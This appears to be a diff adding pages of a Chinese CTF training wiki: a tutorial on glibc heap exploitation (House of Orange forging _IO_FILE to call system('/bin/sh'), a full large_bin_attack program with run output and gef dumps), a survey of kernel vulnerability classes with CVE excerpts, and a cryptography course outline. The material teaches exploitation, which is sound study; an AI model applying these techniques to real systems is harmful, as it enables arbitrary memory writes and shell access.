+int
+_IO_flush_all_lockp (int do_lock)
+{
+  int result = 0;
+  struct _IO_FILE *fp;
+  int last_stamp;
+
+#ifdef _IO_MTSAFE_IO
+  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
+  if (do_lock)
+    _IO_lock_lock (list_all_lock);
+#endif
+
+  last_stamp = _IO_list_all_stamp;
+  fp = (_IO_FILE *) _IO_list_all;   // 将其覆盖
+  while (fp != NULL)
+    {
+      run_fp = fp;
+      if (do_lock)
+    _IO_flockfile (fp);
+
+      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
+#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
+       || (_IO_vtable_offset (fp) == 0
+           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
+                    > fp->_wide_data->_IO_write_base))
+#endif
+       )
+      && _IO_OVERFLOW (fp, EOF) == EOF)     // 将其修改为 system 函数
+    result = EOF;
+
+      if (do_lock)
+    _IO_funlockfile (fp);
+      run_fp = NULL;
+
+      if (last_stamp != _IO_list_all_stamp)
+    {
+      /* Something was added to the list.  Start all over again.  */
+      fp = (_IO_FILE *) _IO_list_all;
+      last_stamp = _IO_list_all_stamp;
+    }
+      else
+    fp = fp->_chain;    // 指向我们指定的区域
+    }
+
+#ifdef _IO_MTSAFE_IO
+  if (do_lock)
+    _IO_lock_unlock (list_all_lock);
+  __libc_cleanup_region_end (0);
+#endif
+
+  return result;
+}
+
+

_IO_list_all 是一个 _IO_FILE_plus 类型的对象,我们的目的就是将 _IO_list_all 指针改写为一个伪造的指针,它的 _IO_OVERFLOW 指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 _IO_OVERFLOW(fp, EOF) 的调用最终会变成对 system('/bin/sh') 的调用。

+
// libio/libioP.h
+/* We always allocate an extra word following an _IO_FILE.
+   This contains a pointer to the function jump table used.
+   This is for compatibility with C++ streambuf; the word can
+   be used to smash to a pointer to a virtual function table. */
+
+struct _IO_FILE_plus
+{
+  _IO_FILE file;
+  const struct _IO_jump_t *vtable;
+};
+
+// libio/libio.h
+struct _IO_FILE {
+  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
+#define _IO_file_flags _flags
+
+  /* The following pointers correspond to the C++ streambuf protocol. */
+  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
+  char* _IO_read_ptr;    /* Current read pointer */
+  char* _IO_read_end;    /* End of get area. */
+  char* _IO_read_base;    /* Start of putback+get area. */
+  char* _IO_write_base;    /* Start of put area. */
+  char* _IO_write_ptr;    /* Current put pointer. */
+  char* _IO_write_end;    /* End of put area. */
+  char* _IO_buf_base;    /* Start of reserve area. */
+  char* _IO_buf_end;    /* End of reserve area. */
+  /* The following fields are used to support backing up and undo. */
+  char *_IO_save_base; /* Pointer to start of non-current get area. */
+  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
+  char *_IO_save_end; /* Pointer to end of non-current get area. */
+
+  struct _IO_marker *_markers;
+
+  struct _IO_FILE *_chain;
+
+  int _fileno;
+#if 0
+  int _blksize;
+#else
+  int _flags2;
+#endif
+  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
+
+#define __HAVE_COLUMN /* temporary */
+  /* 1+column number of pbase(); 0 is unknown. */
+  unsigned short _cur_column;
+  signed char _vtable_offset;
+  char _shortbuf[1];
+
+  /*  char* _save_gptr;  char* _save_egptr; */
+
+  _IO_lock_t *_lock;
+#ifdef _IO_USE_OLD_IO_FILE
+};
+
+

其中有一个指向函数跳转表的指针,_IO_jump_t 的结构如下:

+
// libio/libioP.h
+struct _IO_jump_t
+{
+    JUMP_FIELD(size_t, __dummy);
+    JUMP_FIELD(size_t, __dummy2);
+    JUMP_FIELD(_IO_finish_t, __finish);
+    JUMP_FIELD(_IO_overflow_t, __overflow);
+    JUMP_FIELD(_IO_underflow_t, __underflow);
+    JUMP_FIELD(_IO_underflow_t, __uflow);
+    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
+    /* showmany */
+    JUMP_FIELD(_IO_xsputn_t, __xsputn);
+    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
+    JUMP_FIELD(_IO_seekoff_t, __seekoff);
+    JUMP_FIELD(_IO_seekpos_t, __seekpos);
+    JUMP_FIELD(_IO_setbuf_t, __setbuf);
+    JUMP_FIELD(_IO_sync_t, __sync);
+    JUMP_FIELD(_IO_doallocate_t, __doallocate);
+    JUMP_FIELD(_IO_read_t, __read);
+    JUMP_FIELD(_IO_write_t, __write);
+    JUMP_FIELD(_IO_seek_t, __seek);
+    JUMP_FIELD(_IO_close_t, __close);
+    JUMP_FIELD(_IO_stat_t, __stat);
+    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
+    JUMP_FIELD(_IO_imbue_t, __imbue);
+#if 0
+    get_column;
+    set_column;
+#endif
+};
+
+

伪造 _IO_jump_t 中的 __overflow 为 system 函数的地址,从而达到执行 shell 的目的。

+

当发生内存错误进入 _IO_flush_all_lockp 后,_IO_list_all 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 fp->_chain 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 _IO_list_all&unsorted_bin-0x10,偏移 0x60 位置上是 smallbins[5]。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[5] 中。而在 _IO_FILE 结构中,偏移 0x60 指向 struct _IO_marker *_markers,偏移 0x68 指向 struct _IO_FILE *_chain,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。

+

在将 _IO_OVERFLOW 修改为 system 的时候,有一些条件检查:

+
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
+#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
+       || (_IO_vtable_offset (fp) == 0
+           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
+                    > fp->_wide_data->_IO_write_base))
+#endif
+       )
+      && _IO_OVERFLOW (fp, EOF) == EOF)     // 需要修改为 system 函数
+// libio/libio.h
+
+  struct _IO_wide_data *_wide_data;
+
+/* Extra data for wide character streams.  */
+struct _IO_wide_data
+{
+  wchar_t *_IO_read_ptr;    /* Current read pointer */
+  wchar_t *_IO_read_end;    /* End of get area. */
+  wchar_t *_IO_read_base;    /* Start of putback+get area. */
+  wchar_t *_IO_write_base;    /* Start of put area. */
+  wchar_t *_IO_write_ptr;    /* Current put pointer. */
+  wchar_t *_IO_write_end;    /* End of put area. */
+  wchar_t *_IO_buf_base;    /* Start of reserve area. */
+  wchar_t *_IO_buf_end;        /* End of reserve area. */
+  /* The following fields are used to support backing up and undo. */
+  wchar_t *_IO_save_base;    /* Pointer to start of non-current get area. */
+  wchar_t *_IO_backup_base;    /* Pointer to first valid character of
+                   backup area */
+  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */
+
+  __mbstate_t _IO_state;
+  __mbstate_t _IO_last_state;
+  struct _IO_codecvt _codecvt;
+
+  wchar_t _shortbuf[1];
+
+  const struct _IO_jump_t *_wide_vtable;
+};
+
+

所以这里我们设置 fp->_mode = 0fp->_IO_write_base = (char *) 2fp->_IO_write_ptr = (char *) 3,从而绕过检查。

+

然后,就是修改 _IO_jump_t,将其指向 winner:

+
gef➤  x/30gx p1-0x10+0x400
+0x602400:    0x0068732f6e69622f    0x0000000000000061  <-- old top
+0x602410:    0x00007ffff7dd1b78    0x00007ffff7dd2510      <-- bk points to io_list_all-0x10
+0x602420:    0x0000000000000002    0x0000000000000003      <-- _IO_write_base, _IO_write_ptr
+0x602430:    0x0000000000000000    0x0000000000000000
+0x602440:    0x0000000000000000    0x0000000000000000
+0x602450:    0x0000000000000000    0x0000000000000000
+0x602460:    0x0000000000000000    0x0000000000000000
+0x602470:    0x0000000000000000    0x00000000004006d3      <-- winner
+0x602480:    0x0000000000000000    0x0000000000000000
+0x602490:    0x0000000000000000    0x0000000000000000
+0x6024a0:    0x0000000000000000    0x0000000000000000
+0x6024b0:    0x0000000000000000    0x0000000000000000
+0x6024c0:    0x0000000000000000    0x0000000000000000
+0x6024d0:    0x0000000000000000    0x0000000000602460      <-- vtable
+0x6024e0:    0x0000000000000000    0x0000000000000000
+gef➤  p *((struct _IO_FILE_plus *) 0x602400)
+$1 = {
+  file = {
+    _flags = 0x6e69622f,
+    _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
+    _IO_read_end = 0x7ffff7dd1b78 <main_arena+88> "\020@b",
+    _IO_read_base = 0x7ffff7dd2510 "",
+    _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
+    _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
+    _IO_write_end = 0x0,
+    _IO_buf_base = 0x0,
+    _IO_buf_end = 0x0,
+    _IO_save_base = 0x0,
+    _IO_backup_base = 0x0,
+    _IO_save_end = 0x0,
+    _markers = 0x0,
+    _chain = 0x0,
+    _fileno = 0x0,
+    _flags2 = 0x0,
+    _old_offset = 0x4006d3,
+    _cur_column = 0x0,
+    _vtable_offset = 0x0,
+    _shortbuf = "",
+    _lock = 0x0,
+    _offset = 0x0,
+    _codecvt = 0x0,
+    _wide_data = 0x0,
+    _freeres_list = 0x0,
+    _freeres_buf = 0x0,
+    __pad5 = 0x0,
+    _mode = 0x0,
+    _unused2 = '\000' <repeats 19 times>
+  },
+  vtable = 0x602460
+}
+
+

最后随意分配一个 chunk,由于 size<= 2*SIZE_SZ,所以会触发 _IO_flush_all_lockp 中的 _IO_OVERFLOW 函数,获得 shell。

+
  for (;; )
+    {
+      int iters = 0;
+      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
+        {
+          bck = victim->bk;
+          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
+              || __builtin_expect (victim->size > av->system_mem, 0))
+            malloc_printerr (check_action, "malloc(): memory corruption",
+                             chunk2mem (victim), av);
+          size = chunksize (victim);
+
+

到此,how2heap 里全部的堆利用方法就全部讲完了。

+

3.1.9 Linux 堆利用(四)

+ +

下载文件

+

how2heap

+

large_bin_attack

+
#include<stdio.h>
+#include<stdlib.h>
+
+int main() {
+    unsigned long stack_var1 = 0;
+    unsigned long stack_var2 = 0;
+
+    fprintf(stderr, "The targets we want to rewrite on stack:\n");
+    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
+    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
+
+    unsigned long *p1 = malloc(0x100);
+    fprintf(stderr, "Now, we allocate the first chunk: %p\n", p1 - 2);
+    malloc(0x10);
+
+    unsigned long *p2 = malloc(0x400);
+    fprintf(stderr, "Then, we allocate the second chunk(large chunk): %p\n", p2 - 2);
+    malloc(0x10);
+
+    unsigned long *p3 = malloc(0x400);
+    fprintf(stderr, "Finally, we allocate the third chunk(large chunk): %p\n\n", p3 - 2);
+    malloc(0x10);
+
+    // deal with tcache - libc-2.26
+    // int *a[10], *b[10], i;
+    // for (i = 0; i < 7; i++) {
+    //     a[i] = malloc(0x100);
+    //     b[i] = malloc(0x400);
+    // }
+    // for (i = 0; i < 7; i++) {
+    //     free(a[i]);
+    //     free(b[i]);
+    // }
+
+    free(p1);
+    free(p2);
+    fprintf(stderr, "Now, We free the first and the second chunks now and they will be inserted in the unsorted bin\n");
+
+    malloc(0x30);
+    fprintf(stderr, "Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist\n\n");
+
+    p2[-1] = 0x3f1;
+    p2[0] = 0;
+    p2[2] = 0;
+    p2[1] = (unsigned long)(&stack_var1 - 2);
+    p2[3] = (unsigned long)(&stack_var2 - 4);
+    fprintf(stderr, "Now we use a vulnerability to overwrite the freed second chunk\n\n");
+
+    free(p3);
+    malloc(0x30);
+    fprintf(stderr, "Finally, we free the third chunk and malloc again, targets should have already been rewritten:\n");
+    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
+    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
+}
+$ gcc -g large_bin_attack.c
+$ ./a.out 
+The targets we want to rewrite on stack:
+stack_var1 (0x7fffffffdeb0): 0
+stack_var2 (0x7fffffffdeb8): 0
+
+Now, we allocate the first chunk: 0x555555757000
+Then, we allocate the second chunk(large chunk): 0x555555757130
+Finally, we allocate the third chunk(large chunk): 0x555555757560
+
+Now, We free the first and the second chunks now and they will be inserted in the unsorted bin
+Then, we allocate a chunk and the freed second chunk will be moved into large bin freelist
+
+Now we use a vulnerability to overwrite the freed second chunk
+
+Finally, we free the third chunk and malloc again, targets should have already been rewritten:
+stack_var1 (0x7fffffffdeb0): 0x555555757560
+stack_var2 (0x7fffffffdeb8): 0x555555757560
+
+

该技术可用于修改任意地址的值,例如栈上的变量 stack_var1 和 stack_var2。在实践中常常作为其他漏洞利用的前奏,例如在 fastbin attack 中用于修改全局变量 global_max_fast 为一个很大的值。

+

首先我们分配 chunk p1, p2 和 p3,并且在它们之间插入其他的 chunk 以防止在释放时被合并。此时的内存布局如下:

+
gef➤  x/2gx &stack_var1 
+0x7fffffffde70:    0x0000000000000000    0x0000000000000000
+gef➤  x/4gx p1-2
+0x555555757000:    0x0000000000000000    0x0000000000000111  <-- p1
+0x555555757010:    0x0000000000000000    0x0000000000000000
+gef➤  x/8gx p2-6
+0x555555757110:    0x0000000000000000    0x0000000000000021
+0x555555757120:    0x0000000000000000    0x0000000000000000
+0x555555757130:    0x0000000000000000    0x0000000000000411  <-- p2
+0x555555757140:    0x0000000000000000    0x0000000000000000
+gef➤  x/8gx p3-6
+0x555555757540:    0x0000000000000000    0x0000000000000021
+0x555555757550:    0x0000000000000000    0x0000000000000000
+0x555555757560:    0x0000000000000000    0x0000000000000411  <-- p3
+0x555555757570:    0x0000000000000000    0x0000000000000000
+gef➤  x/8gx p3+(0x410/8)-2
+0x555555757970:    0x0000000000000000    0x0000000000000021
+0x555555757980:    0x0000000000000000    0x0000000000000000
+0x555555757990:    0x0000000000000000    0x0000000000020671  <-- top
+0x5555557579a0:    0x0000000000000000    0x0000000000000000
+
+

然后依次释放掉 p1 和 p2,这两个 free chunk 将被放入 unsorted bin:

+
gef➤  x/8gx p1-2
+0x555555757000:    0x0000000000000000    0x0000000000000111  <-- p1 [be freed]
+0x555555757010:    0x00007ffff7dd3b78    0x0000555555757130
+0x555555757020:    0x0000000000000000    0x0000000000000000
+0x555555757030:    0x0000000000000000    0x0000000000000000
+gef➤  x/8gx p2-2
+0x555555757130:    0x0000000000000000    0x0000000000000411  <-- p2 [be freed]
+0x555555757140:    0x0000555555757000    0x00007ffff7dd3b78
+0x555555757150:    0x0000000000000000    0x0000000000000000
+0x555555757160:    0x0000000000000000    0x0000000000000000
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x555555757130, bk=0x555555757000
+ →   Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE)   →   Chunk(addr=0x555555757010, size=0x110, flags=PREV_INUSE)
+[+] Found 2 chunks in unsorted bin.
+
+

接下来随便 malloc 一个 chunk,则 p1 被切分为两块,一块作为分配的 chunk 返回,剩下的一块继续留在 unsorted bin(p1 的作用就在这里,如果没有 p1,那么切分的将是 p2)。而 p2 则被整理回对应的 large bin 链表中:

+
gef➤  x/14gx p1-2
+0x555555757000:    0x0000000000000000    0x0000000000000041  <-- p1-1
+0x555555757010:    0x00007ffff7dd3c78    0x00007ffff7dd3c78
+0x555555757020:    0x0000000000000000    0x0000000000000000
+0x555555757030:    0x0000000000000000    0x0000000000000000
+0x555555757040:    0x0000000000000000    0x00000000000000d1  <-- p1-2 [be freed]
+0x555555757050:    0x00007ffff7dd3b78    0x00007ffff7dd3b78      <-- fd, bk
+0x555555757060:    0x0000000000000000    0x0000000000000000
+gef➤  x/8gx p2-2
+0x555555757130:    0x0000000000000000    0x0000000000000411  <-- p2 [be freed]
+0x555555757140:    0x00007ffff7dd3f68    0x00007ffff7dd3f68      <-- fd, bk
+0x555555757150:    0x0000555555757130    0x0000555555757130      <-- fd_nextsize, bk_nextsize
+0x555555757160:    0x0000000000000000    0x0000000000000000
+gef➤  heap bins unsorted
+[ Unsorted Bin for arena 'main_arena' ]
+[+] unsorted_bins[0]: fw=0x555555757040, bk=0x555555757040
+ →   Chunk(addr=0x555555757050, size=0xd0, flags=PREV_INUSE)
+[+] Found 1 chunks in unsorted bin.
+gef➤  heap bins large
+[ Large Bins for arena 'main_arena' ]
+[+] large_bins[63]: fw=0x555555757130, bk=0x555555757130
+ →   Chunk(addr=0x555555757140, size=0x410, flags=PREV_INUSE)
+[+] Found 1 chunks in 1 large non-empty bins.
+
+

整理的过程如下所示,需要注意的是 large bins 中 chunk 按 fd 指针的顺序从大到小排列,如果大小相同则按照最近使用顺序排列:

+
          /* place chunk in bin */
+
+          if (in_smallbin_range (size))
+            {
+                [ ... ]
+            }
+          else
+            {
+              victim_index = largebin_index (size);
+              bck = bin_at (av, victim_index);
+              fwd = bck->fd;
+
+              /* maintain large bins in sorted order */
+              if (fwd != bck)
+                {
+                  /* Or with inuse bit to speed comparisons */
+                  size |= PREV_INUSE;
+                  /* if smaller than smallest, bypass loop below */
+                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
+                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
+                    {
+                        [ ... ]
+                    }
+                  else
+                    {
+                      assert ((fwd->size & NON_MAIN_ARENA) == 0);
+                      while ((unsigned long) size < fwd->size)
+                        {
+                            [ ... ]
+                        }
+
+                      if ((unsigned long) size == (unsigned long) fwd->size)
+                        [ ... ]
+                      else
+                        {
+                          victim->fd_nextsize = fwd;
+                          victim->bk_nextsize = fwd->bk_nextsize;
+                          fwd->bk_nextsize = victim;
+                          victim->bk_nextsize->fd_nextsize = victim;
+                        }
+                      bck = fwd->bk;
+                    }
+                }
+              else
+                [ ... ]
+            }
+
+          mark_bin (av, victim_index);
+          victim->bk = bck;
+          victim->fd = fwd;
+          fwd->bk = victim;
+          bck->fd = victim;
+
+

假设我们有一个漏洞,可以对 large bin 里的 chunk p2 进行修改,结合上面的整理过程,我们伪造 p2 如下:

+
gef➤  x/8gx p2-2
+0x555555757130:    0x0000000000000000    0x00000000000003f1  <-- fake p2 [be freed]
+0x555555757140:    0x0000000000000000    0x00007fffffffde60      <-- bk
+0x555555757150:    0x0000000000000000    0x00007fffffffde58      <-- bk_nextsize
+0x555555757160:    0x0000000000000000    0x0000000000000000
+
+

同样的,释放 p3,将其放入 unsorted bin,紧接着进行 malloc 操作,将 p3 整理回 large bin,这个过程中判断条件 (unsigned long) (size) < (unsigned long) (bck->bk->size) 为假,程序将进入 else 分支,其中 fwd 是 fake p2,victim 是 p3,接着 bck 被赋值为 (&stack_var1 - 2)。

+

在 p3 被放回 large bin 并排序的过程中,我们位于栈上的两个变量也被修改成了 victim,对应的语句分别是 bck->fd = victim;ictim->bk_nextsize->fd_nextsize = victim;

+
gef➤  x/2gx &stack_var1 
+0x7fffffffde70:    0x0000555555757560    0x0000555555757560
+gef➤  x/8gx p2-2
+0x555555757130:    0x0000000000000000    0x00000000000003f1
+0x555555757140:    0x0000000000000000    0x0000555555757560
+0x555555757150:    0x0000000000000000    0x0000555555757560
+0x555555757160:    0x0000000000000000    0x0000000000000000
+gef➤  x/8gx p3-2
+0x555555757560:    0x0000000000000000    0x0000000000000411
+0x555555757570:    0x0000555555757130    0x00007fffffffde60
+0x555555757580:    0x0000555555757130    0x00007fffffffde58
+0x555555757590:    0x0000000000000000    0x0000000000000000
+
+

考虑 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,在 free 之前把两种大小的 tcache bin 都占满。

+

3.1.11 Linux 内核漏洞利用

+ +

从用户态到内核态

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
企图用户态漏洞利用内核态漏洞利用
蛮力法利用漏洞应用程序可以多次崩溃并重启(或自动重启)这将导致机器陷入不一致的状态,通常会导致死机或重启
影响目标程序攻击者对被攻击程序(特别是本地攻击)拥有更多的控制(例如攻击者可以设置被攻击程序的运行环境)。被攻击程序是它的库子系统的唯一使用者(例如内存分配表)攻击者需要和其他所有欲“影响”内核的应用程序竞争。所有的应用程序都是内核子系统的使用者
执行 shellcodeshellcode 可以利用已经通过安全和正确性保证的用户态门来进行内核系统调用shellcode 在更高的权限级别上执行,并且必须在不惊动系统的情况下正确地返回到应用程序
绕过反漏洞利用保护措施这要求越来越复杂的方法大部分保护措施在内核态,但并不能保护内核本身。攻击者甚至能禁用大部分保护措施
+

内核漏洞分类

+

未初始化的、未验证的、已损坏的指针解引用

+

这类漏洞涵盖了所有使用指针的情况,所指内容遭到破坏、没有被正确设置、或者是没有做足够的验证。

+

我们知道一个静态声明的指针被初始化为 NULL,但其他情况下这些指针被明确地赋值之前,都是未初始化的,它的值是存放指针处的内存里的任意内容。例如下面这样,指针被存放在栈上,而它的内容是之前函数留在栈上的 "A" 字符串:

+
#include <stdio.h>
+#include <string.h>
+
+void big_stack_usage() {
+    char big[0x100];
+    memset(big, 'A', 0x100);
+    printf("Big stack: %p ~ %p\n", big, big+0x100);
+}
+
+void ptr_un_initialized() {
+    char *p;
+    printf("Pointer value: %p => %p\n", &p, p);
+}
+
+int main() {
+    big_stack_usage();
+    ptr_un_initialized();
+}
+$ gcc -fno-stack-protector pointer.c
+$ ./a.out
+Big stack: 0x7fffd6b0e400 ~ 0x7fffd6b0e500
+Pointer value: 0x7fffd6b0e4f8 => 0x4141414141414141
+
+

下面看一个真实的例子,来自 FreeBSD8.0:

+
struct ucred ucred, *ucp;               // [1]
+[...]
+    refcount_init(&ucred.cr_ref, 1);
+    ucred.cr_uid = ip->i_uid;
+    ucred.cr_ngroups = 1;
+    ucred.cr_groups[0] = dp->i_gid;     // [2]
+    ucp = &ucred;
+
+

[1] 处的 ucred 在栈上进行了声明,然后 cr_groups[0] 被赋值为 dp->i_gid。遗憾的是,struct ucred 结构体的定义是这样的:

+
struct ucred {
+    u_int   cr_ref;     /* reference count */
+[...]
+    gid_t   *cr_groups; /* groups */
+    int     cr_agroups; /* Available groups */
+};
+
+

我们看到 cr_groups 是一个指针,而且没有被初始化就直接使用。这也就意味着,dp->i_gid 的值在 ucred 被分配时被写入到栈上的任意地址。

+

继续看未经验证的指针,这往往发生在多用户的内核地址空间中。我们知道内核空间位于用户空间的上面,它的页表在所有进程的页表中都有备份。有些虚拟地址被选做限制地址,限定地址以上或以下的虚拟地址归内核使用,而其他的归用户空间使用。内核函数也就是使用这个限定地址来判断一个指针指向的是内核还是用户空间。如果是前者,则可能只需做少量的验证,但如果是后者,则要格外小心,否则一个用户空间的地址可能在不受控制的情况下被解引用。

+

看一个 Linux 的例子,CVE-2008-0009:

+
    error = get_user(base, &iov->iov_base);     // [1]
+    [...]
+    if (unlikely(!base)) {
+        error = -EFAULT;
+        break;
+    }
+    [...]
+    sd.u.userptr = base;                        // [2]
+    [...]
+    size = __splice_from_pipe(pipe, &sd, pipe_to_user);
+[...]
+static int pipe_to_user(struct pipe_inode_info *pipe, struct pipe_buffer *buf, struct splice_desc *sd)
+{
+    if (!fault_in_pages_writeable(sd->u.userptr, sd->len)) {
+        src = buf->ops->map(pipe, buf, 1);
+        ret = __copy_to_user_inatomic(sd->u.userptr, src + buf->offset, sd->len);                               // [3]
+        buf->ops->unmap(pipe, buf, src);
+[...]
+}
+
+

代码的第一部分来自函数 vmsplice_to_user(),在 [1] 处使用了 get_user() 获得了目的指针。该目的指针未经检查就默认它是一个用户地址指针,然后通过 [2] 传递给了 __splice_from_pipe(),同时传递函数 pipe_to_user 作为 helper function。这个函数依然是未经检查就调用了 __copy_to_user_inatomic()[3],对该指针做解引用的操作,如果攻击者传递的是一个内核地址,则利用该漏洞能够写入任意数据到任意的内核内存中。这里要知道的还有 Linux 中以两个下划线开头的函数(例如 __copy_to_user_inatomic())是不会对所提供的目的(或源)用户指针做任何检查的。

+

最后,一个被损坏的指针往往是其他漏洞的结果(例如缓冲区溢出),攻击者可以任意修改指针的内容,获得更多的控制权。

+

内存破坏漏洞

+

这类漏洞是由于程序的错误操作重写了内核空间的内存(包括内核栈和内核堆)导致的。

+

内核栈在每次进程进入到内核态时发挥作用。内核栈与用户栈基本相同,但也有一些细小的差别,例如它的大小通常是受限制的。另外,所有进程的内核栈都是一块相同的内核地址空间中的一部分,所以他们开始于不同的虚拟地址并且占据不同的虚拟地址空间。

+

由于内核栈与用户栈的相似性,其发生漏洞的地方也大体相同,例如使用不安全的函数(strcpy(), sprintf() 等),数组越界,缓冲区溢出等。

+

针对内核堆的漏洞往往是缓冲区溢出造成的。通过溢出,重写了溢出块后面的块,或者重写了缓存相关的元数据,都可能造成漏洞利用。

+

整数误用

+

整数溢出和符号转换错误是最常见的两种整数误用漏洞。这类漏洞往往不容易单独利用,但它可能会导致另外的一些漏洞(例如内存溢出)的发生。

+

整数溢出发生在将一个超出整数数据存储范围的数赋值给一个整数变量。在不加控制的加法和乘法运算中如果堆参见运算的参数不加验证,也有可能发生整数溢出。

+

符号转换错误发生在将一个无符号数当做有符号数处理的时候。一个经典的场景是,一个有符号数经过某个最大值检测后传入一个函数,而这个函数只接收无符号数。

+

看一个 FreeBSD V6.0 的例子:

+
int fw_ioctl (struct cdev *dev, u_long cmd, caddr_t data, int flag, fw_proc *td)
+{
+[...]
+    int s, i, len, err = 0;                                     [1]
+    [...]
+    struct fw_crom_buf *crom_buf = (struct fw_crom_buf *)data;  [2]
+    [...]
+    if (fwdev == NULL) {
+    [...]
+        len = CROMSIZE;
+    [...]
+    } else {
+    [...]
+        if (fwdev->rommax < CSRROMOFF)
+            len = 0;
+        else
+            len = fwdev->rommax - CSRROMOFF + 4;
+    }
+    if (crom_buf->len < len)                                    [3]
+        len = crom_buf->len;
+    else
+        crom_buf->len = len;
+    err = copyout(ptr, crom_buf->ptr, len);                     [4]
+}
+
+

[1] 处的 len 是有符号整数,crom_buf->len 也是有符号数并且该值是我们可以控制的,如果它被设为一个负数,那么无论 len 的值是什么,[3] 处的条件都会满足。然后在 [4] 处,copyout() 被调用,该函数原型如下:

+
int copyout(const void *__restrict kaddr, void *__restrict udaddr, size_t len) __nonnull(1) __nonnull(2);
+
+

第三个参数的类型 size_t 是一个无符号整数,所以当 len 是一个负数的时候,会被认为是一个很大的正整数,造成任意内核内存读取。

+

更多内存可以参见章节 3.1.2。

+

竞态条件

+

如果有两个或两个以上执行者将要执行某一动作并且执行结果会由于它们执行顺序的不同而完全不同时,也就是发生了竞争条件。避免竞争条件的方法有很多,例如通过锁、信号量、条件变量等来保证各种行动者之间的同步性。竞争条件中最重要的一点是可竞争窗口的大小,它对于触发竞态条件的难易至关重要,由于这个原因,一些竞态条件的情况只能在对称多处理器(SMP)中被利用。

+

逻辑 bug

+

逻辑 bug 有很多种,下面介绍一个引用计数器溢出。我们知道共享资源都有一个引用计数,并在计数为零时释放掉资源,保持足够的内存空间。操作系统往往提供 get 和 put/drop 这样的函数来显式地增加和减少引用计数。

+

看一个 FreeBSD V5.0 的例子:

+
int fpathconf(td, uap)
+    struct thread *td;
+    register struct fpathconf_args *uap;
+{
+    struct file *fp;
+    struct vnode *vp;
+    int error;
+    if ((error = fget(td, uap->fd, &fp)) != 0)      [1]
+        return (error);
+[...]
+    switch (fp->f_type) {
+    case DTYPE_PIPE:
+    case DTYPE_SOCKET:
+        if (uap->name != _PC_PIPE_BUF)
+            return (EINVAL);                        [2]
+        p->p_retval[0] = PIPE_BUF;
+        error = 0;
+        break;
+[...]
+out:
+    fdrop(fp, td);                                  [3]
+    return (error);
+}
+
+

fpathconf() 系统调用用于获取一个特定的开放的文件描述符信息。所以该调用开头 [1] 处通过 fget() 获取该文件描述符结构的引用,然后在退出的时候 [3] 处通过 fdrop() 释放该引用。然而在 [2] 处的代码没有释放相关的引用计数就直接返回了。如果多次调用 fpathconf() 并触发 [2] 处的返回,则有可能导致引用计数器的溢出。

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/Training/Material/Cryptography/index.html b/Training/Material/Cryptography/index.html new file mode 100644 index 000000000..e831ae137 --- /dev/null +++ b/Training/Material/Cryptography/index.html @@ -0,0 +1,8166 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Modern Cryptography and Mathematics - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Modern Cryptography and Mathematics

+

Introduction

+

Asymmetric cryptography like RSA, ECC. A mathematic definition about security and attacks to the modern cryptography.

+

Several cryptography methods are illustrated in this course, while you would learn how to perform cryptography attacks. Remember the key point: do not create a cryptography model without mathematics proof.

+

Material

+
    +
  • Cryptography Theory and Practice
  • +
  • +

    Introduction to Modern Cryptography: Principles and Protocols

    +
  • +
  • +

    新版暗号技術入門: 秘密の国のアリス

    +
  • +
+

Component

+
    +
  1. Modern Cryptography and Perfectly Secret Encryption
  2. +
  3. Private-Key Encryption
  4. +
  5. Message Authentication Codes & Hash Functions
  6. +
  7. Public-Key Cryptography
  8. +
  9. Attack RSA and ECC
  10. +
+

Download

+

Cryptography.pptx

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
